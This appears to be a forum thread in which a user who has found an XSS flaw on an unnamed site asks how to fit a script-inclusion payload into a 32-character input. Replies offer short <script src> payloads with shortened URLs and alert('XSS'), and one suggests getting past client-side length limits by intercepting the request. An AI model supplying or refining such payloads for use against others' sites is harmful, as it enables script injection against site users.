[Alchemystic]

Basically I found an XSS vulnerability somewhere but the input doesn't allow me to go over 32 characters, what's the shortest code I can use to include a .js in the page? The shorter, the better.

Thanks!

[Aakash_Choudhary]

Write a js script as external file. Like :->

document.getElementByTagName["a"].innerHTML = " Hi i am CodeNinja";

then :->
<script src="http://link_of_that_site_where_you_upload_your_script.js </script

Then google :-> short the url and then choose site to short your url

http://link_of_that_site_where_you_uploa..._script.js [<- this will be short url when you choose any site by google

Thanks

[Sanch]

<script src="shortened_link"> should do the trick

[Aakash_Choudhary]

<script src="shortened_link"> should do the trick

I already gave an explanation on this man 😝
By the way nice to give a short help

🤝

[Sanch]

I already gave an explanation on this man 😝
By the way nice to give a short help

🤝

Yes but your code was wrong.

[SOSA_]

alert('XSS');

Or just link to an external JS source file

[Aakash_Choudhary]

Yes but your code was wrong.

Because may be my net problem or may be forum protection i was unable to post full code

[Sanch]

Because may be my net problem or may be forum protection i was unable to post full code

You posted more then needed not less.

[Alchemystic]

Write a js script as external file. Like :->

document.getElementByTagName["a"].innerHTML = " Hi i am CodeNinja";

then :->
<script src="link_of_that_site_where_you_upload_your_script.js </script

Then google :-> short the url and then choose site to short your url

link_of_that_site_where_you_upload_your_script.js [<- this will be short url when you choose any site by google

Thanks

I know how javascript works, but that's a pretty long way of including a script. Also you used </script> which already takes 9 characters and is unnecessary - you can close the tag by having / at the end of the opening one (<script src="whatever"/>) or you can just leave it out which still works and it executes, except that it throws an error when validating the code, but that's the least of your worries when doing something like this.

alert('XSS');

Or just link to an external JS source file

Yeah but my question was HOW to link to external JS source file with as little code as possible?

<script src=""> should do the trick

Yeah, I think I'll use this. It's gonna be a tight fit. I just thought there may be some shorthand expression I can use to save some characters in the process.

Anyway thanks to everyone who replied trying to help me!
Cheers!

[Viktory]

snip

Why exactly are you limiting yourself to 32 characters? Is it because the search form or whatever won't take more than that?

You can just intercept the post request and add in as many characters you want, or edit the html for the form to allow more than given chars...

[Alchemystic]

It's being checked server-side after submitting the form. I'm pretty sure you can't get around that.